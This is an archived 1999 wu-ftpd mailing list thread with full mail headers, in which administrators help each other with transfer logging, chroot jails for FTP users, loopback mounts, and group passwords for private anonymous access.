> > > I assume it should create the xferlog file so I haven't created one in
> > > /var/adm/ or /var/log/
> >
> > Add -l to the command line and don't forget to -HUP inetd after you do.
> > Also, check that the daemon is really using the ftpaccess file (chconfig
> > may help, I suggest a test which ensures you're using the right
> > ftpaccess).

> Checking _PATH_FTPUSERS :: /etc/ftpusers
> I can't find it... look in doc/examples for an example.

You will probably want to create this file unless you're using the new
features of the VR version and don't need it.

> Checking _PATH_FTPACCESS :: /etc/ftpaccess
> ok.

Um ... you did see this didn't you?

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 14:16:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA11542;
Mon, 1 Mar 1999 14:16:48 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA03414;
Mon, 1 Mar 1999 14:13:17 -0600 (CST)
Received: from bcs-fs1.bcs-systems.com ([216.98.172.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA21664
for <[email protected]>; Mon, 1 Mar 1999 14:07:14 -0600 (CST)
Received: from Barton.terraone.com by bcs-fs1.bcs-systems.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1457.7)
id FXJSY9RH; Mon, 1 Mar 1999 14:12:28 -0600
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 14:07:58 -0600
Reply-To: <[email protected]>
Sender: [email protected]
From: "Barton Hodges" <[email protected]>
To: <[email protected]>
Subject: Loopback Mounts???
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,
I found the following the FAQ, and it is essentially what I want to do. I
have many files
on a drive that I would like to be available from my chrooted FTP directory
without copying them
over. I realize that a symbolic link does not work, can anyone explain how
I can setup a
loopback mount? I am using RedHat Linux 5.1.

Thanks.

Barton

> I made a symbolic link within the anonymous tree and it doesn't work for
the anonymous users.

> Symbolic links are relative to your active root. If you want to access
files/directories/diskspace outside your chrooted
> environment, you'll have to import it using loopback mounts. These are
available on at least Solaris and Linux.

From [email protected] Mon Mar 1 15:09:10 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA12367;
Mon, 1 Mar 1999 15:09:09 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA26642;
Mon, 1 Mar 1999 15:05:34 -0600 (CST)
Received: from mail.vr.net (lundberg@[205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA28879
for <[email protected]>; Mon, 1 Mar 1999 14:59:07 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id PAA19123;
Mon, 1 Mar 1999 15:58:38 -0500
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 15:58:38 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Barton Hodges <[email protected]>
Cc: [email protected]
Subject: Re: Loopback Mounts???
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 1 Mar 1999, Barton Hodges wrote:

> I found the following the FAQ, and it is essentially what I want to
> do. I have many files on a drive that I would like to be available
> from my chrooted FTP directory without copying them over. I realize
> that a symbolic link does not work, can anyone explain how I can setup
> a loopback mount? I am using RedHat Linux 5.1.

man losetup

you may need to rebuild your kernel

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 16:32:26 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA13574;
Mon, 1 Mar 1999 16:32:25 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA23631;
Mon, 1 Mar 1999 16:26:54 -0600 (CST)
Received: from fatcat.inven.com (fatcat.inven.com [204.142.49.130])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA12908
for <[email protected]>; Mon, 1 Mar 1999 16:21:15 -0600 (CST)
Received: from mailnyc [195.1.2.68]
by fatcat.inven.com with esmtp (Exim 1.71 #1)
id 10Hb4Y-0003A4-00; Mon, 1 Mar 1999 17:21:58 -0500
Received: by mailnyc with smtp (Exim 2.10)
id 10Hb60-0004Kr-00; Mon, 1 Mar 1999 17:23:28 -0500
Message-Id: <4.1.19990301163528.009f5520@mailnyc>
Date: Mon, 01 Mar 1999 17:21:49 -0500
Reply-To: [email protected]
Sender: [email protected]
From: John-Paul Pagano <[email protected]>
To: [email protected], [email protected]
Subject: Revised ls -l / dir directions
Mime-Version: 1.0
Content-Type: multipart/alternative;
boundary="=====================_27748470==_.ALT"
X-Sender: jpagano@mailnyc
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

--=====================_27748470==_.ALT
Content-Type: text/plain; charset="us-ascii"

For those who are interested, here's my recipe for enabling ls -l and dir
functionality for chrooted "real" users on your wu-ftp server with the least
amount of hassle. I am revising it because I had included some erroneous
information in the first draft. Here goes:

--

Pre-config steps: Make sure that your real user is set up in the /etc/password
file to function under a chrooted environment. E.G., his passwd file entry
should look something like this:

user:x:UID:GID(ftp):User's FTP Account:/ftp/user/./:/dev/null

The critical ftp-specific entry in this theoretical passwd file line is

/ftp/user/./

which is the syntax that "jails" your FTP account user into a chrooted file
system, so that he doesn't have access to anything on the machine you don't
intend him to see. Also, make sure that the bogus shell you assign this user
(in my example, /dev/null) is listed in /etc/shells. (Never give a purely FTP
user a real shell, unless you are sure it is totally restricted.) If /dev/null
is not in my /etc/shells file, no users will be able to gain access to my FTP
server.
1. Make the following subdirectories in your user's chrooted / :

usr/lib
dev
bin

2. Copy the following files into ~user/usr/lib :

ld.so.1
libc.so.1
libdl.so.1

3. Copy /bin/ls into ~user/bin. Run ldd against the ~user/bin/ls to make sure
that no library or shared files come up that you haven't already copied to
~user/usr/lib.

4. ls -l the /dev/zero link on your machine. E.g.

bash# ls -l /dev/zero
lrwxrwxrwx 1 root root 27 Feb 2 13:14 /dev/zero ->
./devices/pseudo/mm@0:zero
bash# ls -l "/devices/pseudo/mm@0:zero"
crw-rw-rw- 1 root sys 13, 12 Feb 2 13:14 /devices/pseudo/mm@0:zero

Make note of the major and minor numbers (13,12). Then create a zero device in
~user/dev based on those numbers, e.g. (if you are sitting in ~user):

bash# mknod dev/zero c 13 12

This should create a ~user/dev/zero device file that is identical to the one
actually located in /dev/zero on your FTP server, for use in the user's
chrooted environment. I don't know about other systems, but on Solaris 2.5.1,
I have found that a non-statically built ls will not function without this
device file.

4a. Verify that your ~user/dev/zero file was created properly. It should look
something like this:

crw-r--r-- 1 root other 13, 12 Mar 1 16:31
/ftp/user/dev/zero

One thing you want to verify is that there aren't redundant links pointing to
either the /ftp/user/dev directory, or the zero file contained therein. I have
seen incorrectly issued mknod commands create almost perfect-looking dev/zero
files that in fact didn't allow the chrooted ls to function properly . Make
sure that the 1 in the second column above appears in your own output.

Also, never try to just cp a device file from your server's main /dev directory
to ~user/dev. If you do, the machine will spiral into an endless copy of
worthless data that won't cease until you either kill the cp process, or your
file system fills up.

5. Test by executing the following command:

bash# truss -f chroot ~user/bin/ls > /tmp/ls.log 2>> /tmp/ls.log

If everything is kosher, you won't see anything erroneous-looking in the
output. You may find that "Err#2 ENOENT" comes up, but that's an innocuous
notification that (I think) merely has something to do with the process trying
to write to a pseudo terminal device.

6. Finally, prune from or otherwise don't try to use the following directives
in Wu-FTP's ftpaccess file:

lslong <command> [<options>... ]
lsshort <command> [<options>... ]
lsreal <command> [<options>... ]
lsplain <command> [<options>... ]

They don't seem to do squat, at least after hours of trying to get them to work
on my machine. To be sure, I could just be doing something dumb, and these
directives work fine, but, the bottom line is that I am now able to get ls -l
and dir to work without adding these lines to my ftpaccess file. The only
affect that these directives did have was allowing ls -l functionality but
breaking the dir command, before I commented them out altogether.

FYI, I wrote this based on my experience with Wu-FTPD version
wu-2.4.2-academ[BETA-18-VR14].

--
John-Paul Pagano
Unix Systems Administrator
Voice: (212) 208-0828
Fax: (212) 825-1040

--
John-Paul Pagano
Unix Systems Administrator
Voice: (212) 208-0828
Fax: (212) 825-1040
--=====================_27748470==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
For those who are interested, here's my recipe for enabling ls -l and dir
functionality for chrooted "real" users on your wu-ftp server
with the least amount of hassle.  I am revising it because I had
included some erroneous information in the first draft.  Here
goes: 
<table border=0>
<tr><td width=624> 
 
-- 
 
Pre-config steps:  Make sure that your real user is set up in the
/etc/password file to function under a chrooted environment.  E.G.,
his passwd file entry should look something like this: 
 
user:x:UID:GID(ftp):User's FTP
Account:/ftp/user/./:/dev/null 
 
The critical ftp-specific entry in this theoretical passwd file line is
 
 
/ftp/user/./ 
 
which is the syntax that "jails" your FTP account user into a
chrooted file system, so that he doesn't have access to anything on the
machine you don't intend him to see.  Also, make sure that the bogus
shell you assign this user (in my example, /dev/null) is listed in
/etc/shells.  (Never give a purely FTP user a real shell, unless you
are sure it is totally restricted.)  If /dev/null is not in my
/etc/shells file, no users will be able to gain access to my FTP
server. 
</td></tr>
</table>
1. Make the following subdirectories in your user's chrooted / : 
 
<x-tab>        </x-tab>usr/lib
 
<x-tab>        </x-tab>dev 
<x-tab>        </x-tab>bin 
 
2. Copy the following files into ~user/usr/lib : 
 
<x-tab>        </x-tab>ld.so.1
 
<x-tab>        </x-tab>libc.so.1
 
<x-tab>        </x-tab>libdl.so.1 
 
3. Copy /bin/ls into ~user/bin.  Run ldd against the ~user/bin/ls to
make sure that no library or shared files come up that you haven't
already copied to ~user/usr/lib. 
 
4. ls -l the /dev/zero link on your machine.  E.g. 
 
<x-tab>        </x-tab>bash# ls
-l /dev/zero 
<x-tab>        </x-tab>lrwxrwxrwx
1 root root 27 Feb 2 13:14 /dev/zero -> ../devices/pseudo/mm@0:zero
 
<x-tab>        </x-tab>bash# ls
-l "/devices/pseudo/mm@0:zero" 
<x-tab>        </x-tab>crw-rw-rw-
1 root sys 13, 12 Feb 2 13:14 /devices/pseudo/mm@0:zero 
 
Make note of the major and minor numbers (13,12). Then create a zero
device in ~user/dev based on those numbers, e.g. (if you are sitting in
~user): 
 
<x-tab>        </x-tab>bash#
mknod dev/zero c 13 12 
 
This should create a ~user/dev/zero device file that is identical to the
one actually located in /dev/zero on your FTP server, for use in the
user's chrooted environment.  I don't know about other systems, but
on Solaris 2.5.1, I have found that a non-statically built ls will not
function without this device file. 
 
4a.  Verify that your ~user/dev/zero file was created
properly.  It should look something like this: 
 
<x-tab>        </x-tab>crw-r--r--  
1 root     other     13, 12
Mar  1 16:31 /ftp/user/dev/zero 
 
One thing you want to verify is that there aren't redundant links
pointing to either the /ftp/user/dev directory, or the zero file
contained therein.  I have seen incorrectly issued mknod commands
create almost perfect-looking dev/zero files that in fact didn't allow
the chrooted ls to function properly .  Make sure that the 1 in the
second column above appears in your own output. 
 
Also, never try to just cp a device file from your server's main /dev
directory to ~user/dev.  If you do, the machine will spiral into an
endless copy of worthless data that won't cease until you either kill the
cp process, or your file system fills up. 
 
5. Test by executing the following command: 
 
<x-tab>        </x-tab>bash#
truss -f chroot ~user/bin/ls > /tmp/ls.log 2>> /tmp/ls.log 
 
If everything is kosher, you won't see anything erroneous-looking in the
output. You may find that "Err#2 ENOENT" comes up, but that's
an innocuous notification that (I think) merely has something to do with
the process trying to write to a pseudo terminal device. 
 
6. Finally, prune from or otherwise don't try to use the following
directives in Wu-FTP's ftpaccess file: 
 
<x-tab>        </x-tab>lslong
<command> [<options>... ] 
<x-tab>        </x-tab>lsshort
<command> [<options>... ] 
<x-tab>        </x-tab>lsreal
<command> [<options>... ] 
<x-tab>        </x-tab>lsplain
<command> [<options>... ] 
 
They don't seem to do squat, at least after hours of trying to get them
to work on my machine. To be sure, I could just be doing something dumb,
and these directives work fine, but, the bottom line is that I am now
able to get ls -l and dir to work without adding these lines to my
ftpaccess file. The only affect that these directives did have was
allowing ls -l functionality but breaking the dir command, before I
commented them out altogether.  
 
FYI, I wrote this based on my experience with Wu-FTPD version
wu-2.4.2-academ[BETA-18-VR14]. 
 
-- 
John-Paul Pagano 
Unix Systems Administrator 
Voice: (212) 208-0828 
Fax: (212) 825-1040 
 
 
<div>--</div>
<div>John-Paul Pagano</div>
<div>Unix Systems Administrator</div>
<div>Voice: (212) 208-0828</div>
Fax: (212) 825-1040
</html>

--=====================_27748470==_.ALT--

From [email protected] Mon Mar 1 16:40:12 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA13664;
Mon, 1 Mar 1999 16:40:11 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAB13367;
Mon, 1 Mar 1999 16:36:36 -0600 (CST)
Received: from gw1.bfg.com (gateway.bfg.com [131.187.253.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA25409
for <[email protected]>; Mon, 1 Mar 1999 16:25:02 -0600 (CST)
Received: (from uucp@localhost)
by gw1.bfg.com (8.8.8/8.8.8) id RAA08070;
Mon, 1 Mar 1999 17:24:50 -0500 (EST)
Received: from ns1.bfg.com(192.73.67.20) by gw1.bfg.com via smap (V2.1)
id sma007499; Mon, 1 Mar 99 17:24:07 -0500
Received: from localhost (keller@localhost)
by ns1.bfg.com (8.8.8/8.8.8) with SMTP id RAA14099;
Mon, 1 Mar 1999 17:24:05 -0500 (EST)
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 17:24:01 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Ted Keller <[email protected]>
To: Daniel Fong <[email protected]>
Cc: [email protected], [email protected]
Subject: Re: xferlog doesn't work
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Daniel,

I don't see the -a options on the inetd entry. Therefore, it's not
reading the ftpaccess file. This may be a cause of your logging
problems.

ted keller - bfg.com

On Mon, 1 Mar 1999, Daniel Fong wrote:

>
> Gregory A Lundberg <[email protected]> said:
>
> > > I am able to log into the ftp server fine and do uploads and
> > > downloads, but nothing is recorded in the xferlog. How do I get it to
> > > do that?
> > >
> > > This is what I have in /usr/local/etc/ftpaccess:
> > >
> > > log commands real,guest
> > > log transfers anonymous,real,guest inbound,outbound
> > >
> > > I assume it should create the xferlog file so I haven't created one in
> > > /var/adm/ or /var/log/
> >
> > Add -l to the command line and don't forget to -HUP inetd after you do.
> > Also, check that the daemon is really using the ftpaccess file (chconfig
> > may help, I suggest a test which ensures you're using the right
> > ftpaccess).
>
> Hello,
>
> I've added the -l but that doesn't seem to help.
>
> ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd -l
>
> Here is the output from the ckconfig command:
>
> Checking _PATH_FTPUSERS :: /etc/ftpusers
> I can't find it... look in doc/examples for an example.
>
> Checking _PATH_FTPACCESS :: /etc/ftpaccess
> ok.
>
> Checking _PATH_PIDNAMES :: /var/adm/ftp.pids-%s
> ok.
>
> Checking _PATH_CVT :: /etc/ftpconversions
> I can't find it... look in doc/examples for an example.
>
> Checking _PATH_XFERLOG :: /var/adm/xferlog
> ok.
>
> Checking _PATH_PRIVATE :: /etc/ftpgroups
> I can't find it... look in doc/examples for an example.
> You only need this if you want SITE GROUP and SITE GPASS
> functionality. If you do, you will need to edit the example.
>
> Checking _PATH_FTPHOSTS :: /etc/ftphosts
> I can't find it... look in doc/examples for an example.
> You only need this if you are using the HOST ACCESS features
> of the server.
>
>
> Thanks.
>
> -Dan
>

From [email protected] Mon Mar 1 17:00:37 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA13960;
Mon, 1 Mar 1999 17:00:36 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA26239;
Mon, 1 Mar 1999 16:55:49 -0600 (CST)
Received: from apollo.gat.com (apollo.gat.com [192.5.166.20])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA32701
for <[email protected]>; Mon, 1 Mar 1999 16:54:33 -0600 (CST)
Received: from nt-usc (NT-USC.GAT.COM [192.5.166.179])
by apollo.gat.com (8.9.1/8.9.0) with SMTP id OAA01119
for <[email protected]>; Mon, 1 Mar 1999 14:54:31 -0800 (PST)
Message-Id: <[email protected]>
Date: Mon, 01 Mar 1999 14:54:31 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Tony Warner <[email protected]>
To: [email protected]
Subject: "private" anonymous ftp
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm running wuftp 2.4.2[beta 18]VR13 on Digital Unix 4.0D.

I want to set up my anonymous ftp server in such a way that
an anonymous user can gain access to a restricted directory
by entering an "extra" password.
It looks as though I can do this with the "private" command in
the ftpaccess file.
Unfortunately, I don't think I've set it up correctly, or I don't know how
to use it.

If I read the man page correctly:
I add "private yes" to the ftpaccess file.
I create a /etc/ftpgroups file with an entry that looks something like:

secure_grp_name:encrypted_pw:real_grp_name

At this point, I get a little confused. Does the user login anonymously
and then enter
ftp>SITE secure_grp_name
or
ftp>SITE GROUP
or what??

neither of these works. Is there still more I need to set up?

Thanks,
Tony Warner

*********************************************************************
Tony Warner [email protected]
General Atomics (619) 455-4285

*********************************************************************

From [email protected] Mon Mar 1 17:25:46 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA14314;
Mon, 1 Mar 1999 17:25:45 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA00917;
Mon, 1 Mar 1999 17:21:22 -0600 (CST)
Received: from manduca.neurobio.arizona.edu ([email protected] [128.196.108.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA25258
for <[email protected]>; Mon, 1 Mar 1999 17:15:27 -0600 (CST)
Received: from localhost (tyuhas@localhost)
by manduca.neurobio.arizona.edu (8.9.2/8.9.0.Beta5) with SMTP id QAA04498
for <[email protected]>; Mon, 1 Mar 1999 16:20:44 -0700 (MST)
Message-Id: <Pine.SUN.3.96.990301151545.3810B-100000@manduca.neurobio.arizona.edu>
Date: Mon, 1 Mar 1999 16:20:44 -0700 (MST)
Reply-To: [email protected]
Sender: [email protected]
From: Terrill Yuhas <[email protected]>
To: [email protected]
Subject: FTP through browsers
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I have VR14 running fine for the past few weeks but have noticed a
peculiar behavior. Whenever I ftp from a browser (Netscape 4.5 and IE
4.0) using the ftp://user:pass@server format, I don't wind up starting in
my home directory but rather in the system root. Granted this is the same
access available from any other client but it's the starting point that is
giving me grief since I'm setting up a user login for people to be able to
publish to the web root and all are being initially put in the root.

I couldn't find anything in TFM about this. Is this a behavior I can
control with wu-ftpd? Using non-browser clients is working as expected.
This happens on three servers with two different OS' (Linux, SunOS),
and three different httpd (NCSA, two versions of Apache).

Did I set something up wrong or is this expected?,

Terrill

From [email protected] Mon Mar 1 17:34:11 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA14438;
Mon, 1 Mar 1999 17:34:11 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA07574;
Mon, 1 Mar 1999 17:29:25 -0600 (CST)
Received: from tower.ti.com (tower.ti.com [192.94.94.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA00274
for <[email protected]>; Mon, 1 Mar 1999 17:22:20 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by tower.ti.com (8.8.8) with ESMTP id RAA14235; Mon, 1 Mar 1999 17:21:47 -0600 (CST)
Received: from pavis.asic.sc.ti.com (pavis.asic.sc.ti.com [128.247.100.46])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with SMTP id RAA05607;
Mon, 1 Mar 1999 17:21:46 -0600 (CST)
Received: by pavis.asic.sc.ti.com id <[email protected]>; Mon, 1 Mar 99 17:21:45 -0600
Message-Id: <[email protected]>
Date: Mon, 1 Mar 99 17:21:45 CST
Reply-To: [email protected] (Bob Luckin)
Sender: [email protected]
From: Bob Luckin <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: "private" anonymous ftp
In-Reply-To: <[email protected]>; from "Tony Warner" at Mar 01, 99 2:54 pm
X-Mimi-Options: HEADERS TI2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Tony said :-
> I'm running wuftp 2.4.2[beta 18]VR13 on Digital Unix 4.0D.
>
> I want to set up my anonymous ftp server in such a way that
> an anonymous user can gain access to a restricted directory
> by entering an "extra" password.
> It looks as though I can do this with the "private" command in
> the ftpaccess file.
> Unfortunately, I don't think I've set it up correctly, or I don't know how
> to use it.
>
> If I read the man page correctly:
> I add "private yes" to the ftpaccess file.
> I create a /etc/ftpgroups file with an entry that looks something like:
>
> secure_grp_name:encrypted_pw:real_grp_name
>
> At this point, I get a little confused. Does the user login anonymously
> and then enter
> ftp>SITE secure_grp_name
> or
> ftp>SITE GROUP
> or what??
>
> neither of these works. Is there still more I need to set up?

a) The directory you want them to be able to access must be readable by the
secure_grp_name you used in the ftpgroups file. (Probably obvious, but
I thought I'd mention it just in case !)
b) If the user is chrooted (ie. anonymous or via guestgroup mechanism), you
need the etc/ftpgroups file to be under the chrooted area so that the
daemon can see it when the SITE GROUP command is entered.
c) There are two commands needed to change to the new group :-
site group secure_grp_name
the system responds
200 Request for access to group secure_grp_name accepted
at which point you must type
site gpass unencrypted_grp_password
If the user doesn't enter the second command they won't be changed to the
new group.
d) Some FTP clients don't understand the SITE command. You can get round this
by using
quote site group secure_grp_name
and
quote site gpass unencrypted_grp_password

Note that my FTP clients don't seem to recognise the first word in
the string when it is uppercase (ie. SITE or QUOTE); the case after the
first word is probably not important, since it is passed on to the server
which I thinks recognises either case.

I hope this helps !

Cheers, Bob
--
Bob Luckin [email protected] "Coder, adapt. FTP Ada, redo C"
[http://www.dhc.net/~luckin/palindromes.html]

From [email protected] Mon Mar 1 17:45:36 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA14608;
Mon, 1 Mar 1999 17:45:35 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA05652;
Mon, 1 Mar 1999 17:42:17 -0600 (CST)
Received: from tower.ti.com (tower.ti.com [192.94.94.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA17342
for <[email protected]>; Mon, 1 Mar 1999 17:39:52 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by tower.ti.com (8.8.8) with ESMTP id RAA19672; Mon, 1 Mar 1999 17:38:45 -0600 (CST)
Received: from pavis.asic.sc.ti.com (pavis.asic.sc.ti.com [128.247.100.46])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with SMTP id RAA08647;
Mon, 1 Mar 1999 17:38:44 -0600 (CST)
Received: by pavis.asic.sc.ti.com id <[email protected]>; Mon, 1 Mar 99 17:38:42 -0600
Message-Id: <[email protected]>
Date: Mon, 1 Mar 99 17:38:41 CST
Reply-To: [email protected] (Bob Luckin)
Sender: [email protected]
From: Bob Luckin <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: FTP through browsers
In-Reply-To: <Pine.SUN.3.96.990301151545.3810B-100000@manduca.neurobio.arizona.edu>; from "Terrill Yuhas" at Mar 1, 99 4:20 pm
X-Mimi-Options: HEADERS TI2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> I have VR14 running fine for the past few weeks but have noticed a
> peculiar behavior. Whenever I ftp from a browser (Netscape 4.5 and IE
> 4.0) using the ftp://user:pass@server format, I don't wind up starting in
> my home directory but rather in the system root. Granted this is the same
> access available from any other client but it's the starting point that is
> giving me grief since I'm setting up a user login for people to be able to
> publish to the web root and all are being initially put in the root.
>
> I couldn't find anything in TFM about this. Is this a behavior I can
> control with wu-ftpd? Using non-browser clients is working as expected.
> This happens on three servers with two different OS' (Linux, SunOS),
> and three different httpd (NCSA, two versions of Apache).
>
> Did I set something up wrong or is this expected?,

As far as I know, regular (ie. non-anonymous) users) put in the system root
by default, regardless of whether the client is regular ftp or a browser
(the daemon has no way of telling what the client is anyway...).

You can modify this behaviour by using the guestgroup mechanism in wu-ftpd.
This will allow you to have wu-ftpd chroot users to the directory you
specify - but note as before that this behaviour will then happen with both
browser and regular ftp clients.

For more details on guestgroup, read the man pages which come with the server,
and also the "guestgroup howto" document, available on-line at Kent Landfield's
WU-FTPD resource center
http://www.landfield.com/wu-ftpd/guest-howto.html

There's lots of other useful information at Ken's site; the starting page is
http://www.landfield.com/wu-ftpd/

Good luck !

Cheers, Bob
--
Bob Luckin [email protected] "Coder, adapt. FTP Ada, redo C"
[http://www.dhc.net/~luckin/palindromes.html]

From [email protected] Mon Mar 1 18:12:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA15200;
Mon, 1 Mar 1999 18:12:48 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA14450;
Mon, 1 Mar 1999 18:08:11 -0600 (CST)
Received: from apollo.gat.com (apollo.gat.com [192.5.166.20])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA21378
for <[email protected]>; Mon, 1 Mar 1999 18:04:02 -0600 (CST)
Received: from nt-usc (NT-USC.GAT.COM [192.5.166.179])
by apollo.gat.com (8.9.1/8.9.0) with SMTP id QAA00587;
Mon, 1 Mar 1999 16:03:59 -0800 (PST)
Message-Id: <[email protected]>
Date: Mon, 01 Mar 1999 16:03:59 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Tony Warner <[email protected]>
To: [email protected] (Bob Luckin)
Cc: [email protected]
Subject: Re: "private" anonymous ftp
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Thanks, Bob, a couple more questions:

When I did the
ftp>site group secure_grp_name
I got the correct response (of course, it doesn't seem to matter
what grp name I give it, it always gives the correct response),
but, when I did
ftp>site gpass <unencrypted pw>
I got the following:
Group access request incorrect.

At 05:21 PM 3/1/99 -0600, you wrote:
>a) The directory you want them to be able to access must be readable by the
> secure_grp_name you used in the ftpgroups file. (Probably obvious, but
> I thought I'd mention it just in case !)

The "secure_grp_name" in the ftpgroups file (now located in ~ftp/etc for use
with anonymous users) is not a real group on the system. So, this cannot be
used as the group owner of the restricted directory. Instead I used the
"real_grp_name" that I associated with it in the ftpgroups file. Do I
understand
this correctly?

Also, is there an easier way of creating/changing the encrypted passwords
in this ftpgroups file other than cutting and pasting an encrypted password
out of the /etc/passwd file?

Thanks,
Tony Warner

>b) If the user is chrooted (ie. anonymous or via guestgroup mechanism), you
> need the etc/ftpgroups file to be under the chrooted area so that the
> daemon can see it when the SITE GROUP command is entered.
>c) There are two commands needed to change to the new group :-
> site group secure_grp_name
> the system responds
> 200 Request for access to group secure_grp_name accepted
> at which point you must type
> site gpass unencrypted_grp_password
> If the user doesn't enter the second command they won't be changed to the
> new group.
>d) Some FTP clients don't understand the SITE command. You can get round this
> by using
> quote site group secure_grp_name
> and
> quote site gpass unencrypted_grp_password
>
> Note that my FTP clients don't seem to recognise the first word in
> the string when it is uppercase (ie. SITE or QUOTE); the case after the
> first word is probably not important, since it is passed on to the server
> which I thinks recognises either case.
>
>I hope this helps !
>
>Cheers, Bob
>--
>Bob Luckin [email protected] "Coder, adapt. FTP Ada, redo C"
>Tony said :-
>> I'm running wuftp 2.4.2[beta 18]VR13 on Digital Unix 4.0D.
>>
>> I want to set up my anonymous ftp server in such a way that
>> an anonymous user can gain access to a restricted directory
>> by entering an "extra" password.
>> It looks as though I can do this with the "private" command in
>> the ftpaccess file.
>> Unfortunately, I don't think I've set it up correctly, or I don't know how
>> to use it.
>>
>> If I read the man page correctly:
>> I add "private yes" to the ftpaccess file.
>> I create a /etc/ftpgroups file with an entry that looks something like:
>>
